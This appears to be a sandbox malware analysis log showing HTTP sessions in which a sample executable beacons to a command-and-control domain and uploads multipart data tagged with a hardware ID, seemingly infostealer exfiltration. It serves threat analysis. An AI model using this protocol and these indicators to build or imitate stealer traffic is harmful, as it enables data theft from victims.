2024-03-22 12:54:04 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 67 35 4d 76 54 43 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=g5MvTC--&j=default
2024-03-22 12:54:04 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=14v3t6b1m096gk6dl9rdt32kng; expires=Tue, 16-Jul-2024 06:40:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QP%2FsQ3y6qMQuPAnVMZ5jGpc%2FIvAjlqels5a4GZ02uu7xk1NxcfZvcRRSJnmt3H9oQqZFObDDGHFRE2USQQLATiUukda1B8q7OyA7A7iA%2B%2BYq7Bph%2FoSILH5bkG%2FduEV%2B%2BfUZr1%2BnSlT%2BqWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 868654045d624255-EWR alt-svc: h3=":443"; ma=86400
2024-03-22 12:54:04 UTC	545	IN	Data Raw: 34 63 31 38 0d 0a 6a 6b 32 34 4d 72 61 45 36 57 6e 47 2b 67 70 50 74 51 38 6b 78 65 37 75 34 71 4b 56 51 44 59 34 34 52 75 4a 49 4a 62 66 52 52 58 31 51 4c 49 53 6c 71 54 4a 53 37 44 59 4d 47 2b 42 49 79 6e 50 7a 73 37 43 67 72 63 7a 55 78 72 62 4f 2f 31 53 34 37 70 70 47 49 52 74 6d 42 4b 57 70 6f 67 4e 35 4d 41 71 4b 64 52 6a 56 36 44 43 34 2b 69 43 74 57 41 57 47 6f 52 6a 71 78 71 32 68 45 67 66 72 6d 32 59 45 70 61 6b 6b 6d 54 4d 32 69 70 76 6c 53 38 45 35 63 37 4d 68 38 79 33 65 68 59 61 68 48 48 72 51 66 71 39 4a 48 37 68 50 64 52 52 33 75 69 4f 41 61 4f 5a 62 69 37 5a 59 6b 47 67 69 34 2b 49 7a 50 77 74 58 6c 58 44 4e 34 51 71 74 76 39 6c 4e 61 35 74 6d 42 4b 55 34 5a 4e 4c 2f 4e 6f 6f 41 74 42 37 52 59 69 50 6e 59 6d 41 6d 45 6f 57 47 4d 45 37 71 Data Ascii: 4c18jk24MraE6WnG+gpPtQ8kxe7u4qKVQDY44RuJIJbfRRX1QLISlqTJS7DYMG+BIynPzs7CgrczUxrbO/1S47ppGIRtmBKWpogN5MAqKdRjV6DC4+iCtWAWGoRjqxq2hEgfrm2YEpakkmTM2ipvlS8E5c7Mh8y3ehYahHHrQfq9JH7hPdRR3uiOAaOZbi7ZYkGgi4+IzPwtXlXDN4Qqtv9lNa5tmBKU4ZNL/NooAtB7RYiPnYmAmEoWGME7q
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 77 4c 68 51 43 77 54 6e 6a 52 2f 65 2b 4c 48 6a 76 4a 39 46 43 31 50 53 4e 42 71 47 4b 62 69 6a 5a 5a 30 57 31 68 6f 4b 47 77 2f 34 70 58 56 2b 45 66 61 73 4d 6d 39 56 6c 4e 61 35 74 6d 42 4b 57 70 4d 73 4d 76 4e 67 77 62 35 64 4d 53 36 79 41 68 70 66 41 74 30 30 38 47 4d 45 37 71 51 43 32 6f 6d 6b 59 68 47 32 59 45 70 61 6b 79 52 4c 4c 38 43 70 76 6c 53 38 45 35 63 37 4f 77 4d 66 37 59 67 77 59 77 33 33 71 52 76 57 35 4b 58 6e 6f 49 39 78 65 32 65 6d 4e 41 61 53 66 59 69 58 66 62 45 75 73 67 34 79 46 7a 66 4d 6b 57 46 75 47 4f 61 55 74 6e 50 39 6c 4e 61 35 74 6d 42 4b 57 70 6f 77 54 35 4d 41 71 62 66 6c 71 52 62 58 4f 75 59 50 4f 2b 53 56 43 47 75 77 52 71 51 43 32 2f 32 55 31 38 32 47 31 4f 4a 61 6b 79 55 6e 6d 32 6e 46 43 76 79 38 45 35 63 37 4f 77 6f Data Ascii: wLhQCwTnjR/e+LHjvJ9FC1PSNBqGKbijZZ0W1hoKGw/4pXV+EfasMm9VlNa5tmBKWpMsMvNgwb5dMS6yAhpfAt008GME7qQC2omkYhG2YEpakyRLL8CpvlS8E5c7OwMf7YgwYw33qRvW5KXnoI9xe2emNAaSfYiXfbEusg4yFzfMkWFuGOaUtnP9lNa5tmBKWpowT5MAqbflqRbXOuYPO+SVCGuwRqQC2/2U182G1OJakyUnm2nFCvy8E5c7Owo
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 53 4a 46 35 35 31 44 34 74 79 46 34 34 53 4f 61 48 72 75 4f 79 55 6e 6d 32 69 70 76 6c 53 38 47 6f 4a 54 4d 32 49 4b 33 43 46 64 4f 67 48 4f 70 64 2f 65 7a 4b 58 44 36 62 37 55 34 6c 71 54 4a 53 65 62 61 64 32 4f 34 42 51 54 6c 7a 73 37 43 67 75 35 4e 50 42 6a 42 4f 36 6b 41 74 76 39 6c 4e 2b 73 6a 6d 67 69 57 70 6f 59 4b 72 4a 35 36 49 74 70 75 53 4b 6d 44 69 59 2f 49 39 79 4a 5a 58 34 64 79 34 45 48 35 75 54 56 39 37 43 66 66 55 64 37 73 79 30 58 4c 38 43 70 76 6c 53 38 45 35 63 37 4f 77 4d 66 76 59 67 77 59 77 30 6a 38 53 62 61 49 4a 48 6e 69 4b 4d 77 51 75 34 37 4a 53 65 62 61 4b 6d 2f 49 49 79 6e 50 7a 73 37 43 67 72 56 67 54 54 58 72 4f 36 6b 41 74 76 39 6c 4e 61 35 76 33 56 79 55 76 73 6c 4c 71 5a 42 74 4b 4e 68 73 54 4b 6d 4a 68 6f 7a 49 2b 53 46 Data Ascii: SJF551D4tyF44SOaHruOyUnm2ipvlS8GoJTM2IK3CFdOgHOpd/ezKXD6b7U4lqTJSebad2O4BQTlzs7Cgu5NPBjBO6kAtv9lN+sjmgiWpoYKrJ56ItpuSKmDiY/I9yJZX4dy4EH5uTV97CffUd7sy0XL8CpvlS8E5c7OwMfvYgwYw0j8SbaIJHniKMwQu47JSebaKm/IIynPzs7CgrVgTTXrO6kAtv9lNa5v3VyUvslLqZBtKNhsTKmJhozI+SF
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 71 55 74 6e 50 39 6c 4e 61 35 74 6d 45 6d 37 6a 73 6c 4a 35 74 6f 71 62 35 55 76 42 71 43 41 7a 4e 69 43 74 79 46 51 57 6f 4a 35 34 31 44 30 72 79 4e 30 36 69 48 54 58 39 37 70 69 67 57 75 6b 57 38 71 32 6d 74 4a 70 49 4f 4e 68 4d 37 32 59 68 6f 31 36 7a 75 70 41 4c 62 2f 5a 54 57 75 62 39 31 49 6c 4c 37 4a 53 34 75 62 66 69 65 58 41 69 37 6c 7a 73 37 43 67 72 55 39 47 6a 58 72 4f 36 6b 41 74 76 39 6c 62 6f 4e 48 6d 42 4b 57 70 4d 6c 4a 35 74 6f 6f 4b 74 73 74 48 75 58 4d 68 6f 7a 45 39 43 35 64 56 6f 35 34 37 30 58 35 75 53 64 78 36 69 72 62 57 39 7a 71 68 41 47 6f 6e 47 51 6b 30 57 46 46 70 49 72 4d 7a 71 2b 66 59 42 59 59 77 54 75 70 41 4c 62 39 49 47 2b 73 64 35 67 51 39 65 75 41 42 36 53 62 65 53 71 58 41 69 37 6c 7a 73 37 43 67 72 55 39 47 6a 58 72 Data Ascii: qUtnP9lNa5tmEm7jslJ5toqb5UvBqCAzNiCtyFQWoJ541D0ryN06iHTX97pigWukW8q2mtJpIONhM72Yho16zupALb/ZTWub91IlL7JS4ubfieXAi7lzs7CgrU9GjXrO6kAtv9lboNHmBKWpMlJ5tooKtstHuXMhozE9C5dVo5470X5uSdx6irbW9zqhAGonGQk0WFFpIrMzq+fYBYYwTupALb9IG+sd5gQ9euAB6SbeSqXAi7lzs7CgrU9GjXr
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 54 53 54 7a 57 75 62 5a 67 53 6c 76 6e 46 5a 4d 7a 61 4b 6d 2b 56 4c 77 53 2b 34 2b 54 43 67 72 56 67 46 68 6a 42 4f 36 74 46 2b 50 31 2f 4e 61 77 6a 30 31 62 53 34 34 63 4b 6f 70 42 74 4a 64 4e 73 51 4b 47 50 67 34 54 46 39 69 31 51 56 6f 31 7a 36 6b 50 34 74 69 68 38 36 57 2b 55 50 37 79 6b 79 55 6e 6d 32 69 70 76 6c 53 31 42 76 38 7a 55 77 6f 44 47 49 55 4a 4e 6b 33 57 72 4c 5a 7a 2f 5a 54 57 75 62 5a 68 50 6d 6f 6e 6a 53 65 62 61 4b 6d 2b 56 64 43 6e 50 7a 73 37 43 67 72 56 67 46 68 6a 44 66 75 63 43 72 50 39 6e 64 76 34 6c 30 46 37 52 36 59 34 49 71 35 39 6c 4b 39 74 6e 54 36 2b 4b 67 34 6e 53 39 43 35 61 58 59 31 31 35 55 2f 2b 76 69 6f 33 6f 6b 43 79 45 70 61 6b 79 55 6e 6d 32 69 70 74 30 48 55 47 2f 38 37 4d 72 4d 66 36 44 46 39 57 68 44 6d 45 4b Data Ascii: TSTzWubZgSlvnFZMzaKm+VLwS+4+TCgrVgFhjBO6tF+P1/Nawj01bS44cKopBtJdNsQKGPg4TF9i1QVo1z6kP4tih86W+UP7ykyUnm2ipvlS1Bv8zUwoDGIUJNk3WrLZz/ZTWubZhPmonjSebaKm+VdCnPzs7CgrVgFhjDfucCrP9ndv4l0F7R6Y4Iq59lK9tnT6+Kg4nS9C5aXY115U/+vio3okCyEpakyUnm2ipt0HUG/87MrMf6DF9WhDmEK
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 31 38 32 47 78 50 37 79 4e 79 55 6d 39 39 77 42 76 6c 53 38 45 35 63 37 4f 77 6f 44 77 4c 68 51 43 77 54 6e 76 53 50 53 77 4c 58 7a 6a 4c 4e 31 65 31 4f 75 42 47 61 79 59 61 43 50 52 62 45 71 69 6a 59 43 44 30 76 73 6b 57 56 79 4c 61 36 73 4d 6d 39 56 6c 4e 61 35 74 6d 42 4b 57 70 4d 73 4d 76 4e 67 77 62 35 64 4e 54 61 75 50 67 49 48 48 77 69 46 61 56 49 52 76 71 79 32 63 2f 32 55 31 72 6d 32 59 54 35 71 4e 35 47 50 50 32 69 6f 30 75 41 55 45 35 63 37 4f 77 6f 4b 31 59 42 52 64 6a 7a 6d 7a 41 4c 53 77 4b 33 33 68 4b 74 35 59 30 2b 57 4b 42 36 43 56 5a 53 6e 65 61 55 4f 31 6e 6f 71 4f 77 50 67 73 57 31 61 52 64 2b 35 43 2b 50 31 70 47 49 52 74 6d 42 4b 57 70 4d 6c 4a 35 74 68 76 4e 5a 63 31 42 4f 65 39 6d 34 43 41 6d 45 6f 57 47 4d 45 37 71 51 44 72 38 30 Data Ascii: 182GxP7yNyUm99wBvlS8E5c7OwoDwLhQCwTnvSPSwLXzjLN1e1OuBGayYaCPRbEqijYCD0vskWVyLa6sMm9VlNa5tmBKWpMsMvNgwb5dNTauPgIHHwiFaVIRvqy2c/2U1rm2YT5qN5GPP2io0uAUE5c7OwoK1YBRdjzmzALSwK33hKt5Y0+WKB6CVZSneaUO1noqOwPgsW1aRd+5C+P1pGIRtmBKWpMlJ5thvNZc1BOe9m4CAmEoWGME7qQDr80
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 6d 42 4b 57 70 4d 6c 4a 35 74 68 76 4e 5a 63 31 42 4f 65 76 6d 35 44 4e 74 30 30 38 47 4d 45 37 71 51 43 32 6f 6d 6b 59 68 47 32 59 45 70 61 6b 79 52 4c 4c 38 43 70 76 6c 53 38 45 35 63 37 4f 77 4d 66 37 59 67 77 59 77 33 48 6d 53 76 36 35 49 48 72 72 4b 64 4e 43 33 65 4f 46 43 36 43 54 5a 79 76 54 62 6b 61 31 69 6f 69 49 77 2f 6f 76 57 6c 6d 48 4f 61 55 74 6e 50 39 6c 4e 61 35 74 6d 42 4b 57 70 6f 77 54 35 4d 41 71 62 65 56 67 53 4c 79 44 69 35 48 4b 74 30 30 38 47 4d 45 37 71 51 43 32 6f 6d 6b 59 68 47 32 59 45 70 61 6b 79 52 4c 4c 38 43 70 76 6c 53 38 45 35 63 37 4f 77 4d 66 37 59 67 77 59 77 33 33 6c 55 50 2b 38 4c 48 7a 69 4b 4e 56 56 33 75 61 45 44 36 65 57 59 79 7a 55 5a 55 75 71 67 6f 61 4a 79 66 41 75 55 46 33 44 4e 34 51 71 74 76 39 6c 4e 61 35 Data Ascii: mBKWpMlJ5thvNZc1BOevm5DNt008GME7qQC2omkYhG2YEpakyRLL8CpvlS8E5c7OwMf7YgwYw3HmSv65IHrrKdNC3eOFC6CTZyvTbka1ioiIw/ovWlmHOaUtnP9lNa5tmBKWpowT5MAqbeVgSLyDi5HKt008GME7qQC2omkYhG2YEpakyRLL8CpvlS8E5c7OwMf7YgwYw33lUP+8LHziKNVV3uaED6eWYyzUZUuqgoaJyfAuUF3DN4Qqtv9lNa5
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 76 53 46 42 4b 53 65 59 79 7a 53 62 6b 32 74 67 6f 57 53 67 4c 6c 4e 50 42 6a 42 4f 36 6b 41 74 76 39 6c 4e 2b 73 33 6d 67 69 57 70 71 45 51 70 5a 56 6b 62 2f 6c 6d 55 4b 44 4f 72 59 37 4c 38 43 35 43 47 75 77 52 71 51 43 32 2f 32 55 31 38 32 47 31 4f 4a 61 6b 79 55 6e 6d 32 6e 46 43 76 79 38 45 35 63 37 4f 77 6f 4b 31 59 6c 4e 57 77 79 47 70 41 76 32 7a 4b 33 54 72 4a 39 4a 56 31 4f 32 4c 42 4b 36 57 62 7a 2f 64 59 55 79 31 67 34 2b 4e 78 50 6f 6f 55 56 4f 52 66 4f 4a 45 74 50 4e 49 48 36 35 74 6d 42 4b 57 70 4d 6c 4a 35 4a 39 77 62 59 38 76 42 70 2b 48 67 72 4c 44 37 47 49 37 4d 73 45 37 71 51 43 32 2f 7a 67 35 67 30 65 59 45 70 61 6b 79 55 6d 39 39 77 42 76 6c 53 38 45 35 63 37 4f 77 6f 44 77 4c 68 51 43 77 54 6e 6f 52 66 65 38 4c 58 37 67 49 4e 31 55 Data Ascii: vSFBKSeYyzSbk2tgoWSgLlNPBjBO6kAtv9lN+s3mgiWpqEQpZVkb/lmUKDOrY7L8C5CGuwRqQC2/2U182G1OJakyUnm2nFCvy8E5c7OwoK1YlNWwyGpAv2zK3TrJ9JV1O2LBK6Wbz/dYUy1g4+NxPooUVORfOJEtPNIH65tmBKWpMlJ5J9wbY8vBp+HgrLD7GI7MsE7qQC2/zg5g0eYEpakyUm99wBvlS8E5c7OwoDwLhQCwTnoRfe8LX7gIN1U
2024-03-22 12:54:04 UTC	1369	IN	Data Raw: 6e 6d 32 69 70 76 6c 32 70 65 35 39 54 4f 77 4f 50 67 4e 46 35 42 77 78 61 44 41 4c 62 2f 5a 54 57 75 4d 4a 51 2f 76 4b 54 4a 53 65 62 61 4b 6a 53 34 42 51 54 6c 7a 73 37 43 67 72 56 67 46 46 32 50 4f 62 4d 41 74 4c 41 67 65 65 51 70 31 46 62 47 36 6f 51 4e 70 4a 6c 69 49 4e 74 6d 51 61 6d 48 69 6f 58 4e 39 79 52 53 58 6f 64 39 35 55 47 30 38 30 67 66 72 6d 32 59 45 70 61 6b 79 55 6e 6b 6e 33 42 74 6a 79 38 47 67 4b 47 39 77 75 50 67 4e 46 35 64 6a 32 2f 67 51 2f 65 72 4b 6d 65 73 51 4c 49 53 6c 71 54 4a 53 65 61 48 4a 6b 4b 2f 4c 77 54 6c 7a 73 37 43 32 5a 68 4b 46 68 6a 42 4f 36 6b 41 74 76 39 6e 63 4f 42 76 67 68 4b 55 37 59 55 4f 70 5a 52 69 4b 74 6c 2f 52 36 32 41 6a 59 66 48 2f 44 42 66 53 49 68 78 36 45 7a 38 74 43 64 35 37 43 37 58 55 4a 53 6f 35 Data Ascii: nm2ipvl2pe59TOwOPgNF5BwxaDALb/ZTWuMJQ/vKTJSebaKjS4BQTlzs7CgrVgFF2PObMAtLAgeeQp1FbG6oQNpJliINtmQamHioXN9yRSXod95UG080gfrm2YEpakyUnkn3Btjy8GgKG9wuPgNF5dj2/gQ/erKmesQLISlqTJSeaHJkK/LwTlzs7C2ZhKFhjBO6kAtv9ncOBvghKU7YUOpZRiKtl/R62AjYfH/DBfSIhx6Ez8tCd57C7XUJSo5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:04 UTC	379	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19496 Host: relevantvoicelesskw.shop
2024-03-22 12:54:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:04 UTC	4165	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-03-22 12:54:05 UTC	829	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 22 Mar 2024 12:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4gujgg4aaqb98uqlspo4iuv4gl; expires=Tue, 16-Jul-2024 06:40:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=97GfYTuxDLVljGYnYf0nkKVhSNY1CvL%2BZsRiX4r0aVi8f9AuPcNV2KabfpGgzkap9Iqf3DVjLE%2B%2BwzBINK80C6lqN8oogDZidu5eu17TsQZUotRBxo6P0lz8rUNUNLSQmSHxHsA9av3o70s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86865408f98943bb-EWR alt-svc: h3=":443"; ma=86400
2024-03-22 12:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:05 UTC	378	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 9606 Host: relevantvoicelesskw.shop
2024-03-22 12:54:05 UTC	9606	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:06 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=48gr4utsp8j54eehc3sdln81dm; expires=Tue, 16-Jul-2024 06:40:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=upoXU0vUXr%2B3E9fFMIT8YPJNaICStGkCKeoJM0cBALG0bziMXPsjj6I0iBl6hodQ57geO0lfOMfVFTXECYsqZo6qrvhtlp%2Byy0FyZnhJ0epbhziFSFPVvigK2Gn6aFmQh%2BtIVe%2Bj7M%2FsIrc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8686540daa1232f4-EWR alt-svc: h3=":443"; ma=86400
2024-03-22 12:54:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 32 32 37 2e 31 39 34 0d 0a Data Ascii: 11ok 191.96.227.194
2024-03-22 12:54:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	172.67.147.173	443	7264	C:\Users\user\Desktop\Ag3ijL3z1w.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-22 12:54:06 UTC	379	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: relevantvoicelesskw.shop
2024-03-22 12:54:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 31 36 32 37 42 44 41 44 42 32 33 38 30 34 42 30 39 31 30 33 32 37 41 44 46 46 43 42 39 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 35 4d 76 54 43 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"911627BDADB23804B0910327ADFFCB96--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g5MvTC----b
2024-03-22 12:54:06 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-03-22 12:54:07 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 22 Mar 2024 12:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8r1ipnn5ofb2kelo7jaqn6egt; expires=Tue, 16-Jul-2024 06:40:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H16ZbZqsjZeLMqAEr4Q0UsYq0S2pZKvK16dE17k7MH6fwcgOF%2B4Wwfgebm8MaqxcGQOGLzAn73MufewBKmVvrdSSB8rcGfx9tt%2Flu1usF%2B%2BbTTKqq8z9Q604V234iauGIbIPTfkhHbhQWeQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 868654139d591a24-EWR alt-svc: h3=":443"; ma=86400
